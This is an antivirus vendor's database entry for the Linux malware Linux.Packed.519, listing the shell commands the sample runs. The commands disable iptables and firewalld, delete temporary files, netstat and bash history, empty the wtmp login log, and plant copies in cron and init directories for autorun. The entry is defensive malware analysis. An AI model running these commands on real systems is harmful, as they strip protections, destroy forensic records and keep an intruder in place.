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Linux.Packed.519

Added to the Dr.Web virus database: 2019-07-15

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/cron.d/<SAMPLE>
  • /etc/rc0.d/<SAMPLE>
  • /etc/init.d/<SAMPLE>
  • /etc/init.d/rcS_bak
  • /etc/init.d/rcS
  • /etc/rc.local
Malicious functions:
Modifies firewall settings:
  • /sbin/iptables -F
  • /sbin/iptables -X
Manages services:
  • service iptables stop
  • systemctl stop iptables.service
  • service firewalld stop
  • systemctl stop firewalld.service
Launches processes:
  • sh -c rm -rf /tmp/* /var/tmp/*
  • rm -rf /tmp/* /var/tmp/*
  • sh -c cat /dev/null > /var/log/wtmp
  • cat /dev/null
  • sh -c rm -rf /bin/netstat
  • rm -rf /bin/netstat
  • sh -c service iptables stop
  • sh -c /sbin/iptables -F; /sbin/iptables -X
  • sh -c service firewalld stop
  • sh -c rm -rf ~/.bash_history
  • rm -rf /root/.bash_history
  • sh -c history -c
  • sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /etc/cron.d/
  • /bin/busybox cp <SAMPLE_FULL_PATH> /etc/cron.d/
  • sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /etc/rc0.d/
  • /bin/busybox cp <SAMPLE_FULL_PATH> /etc/rc0.d/
  • sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /etc/init.d/
  • /bin/busybox cp <SAMPLE_FULL_PATH> /etc/init.d/
  • sh -c /bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
  • /bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
  • sh -c /bin/busybox echo 'cd /etc/cron.d/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
  • /bin/busybox echo cd /etc/cron.d/;<SAMPLE_FULL_PATH> self.load;cd
  • sh -c /bin/busybox echo 'cd /etc/init.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
  • /bin/busybox echo cd /etc/init.d;<SAMPLE_FULL_PATH> self.load;cd
  • sh -c /bin/busybox echo 'cd /etc/rc0.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
  • /bin/busybox echo cd /etc/rc0.d;<SAMPLE_FULL_PATH> self.load;cd
  • sh -c echo 'cd /etc/cron.d/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
  • sh -c echo 'cd /etc/init.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
  • sh -c echo 'cd /etc/rc0.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
Performs operations with the file system:
Creates or modifies files:
  • /var/log/wtmp
Deletes files:
  • /tmp/*
  • /var/tmp/*
  • /bin/netstat
  • /root/.bash_history

Curing recommendations


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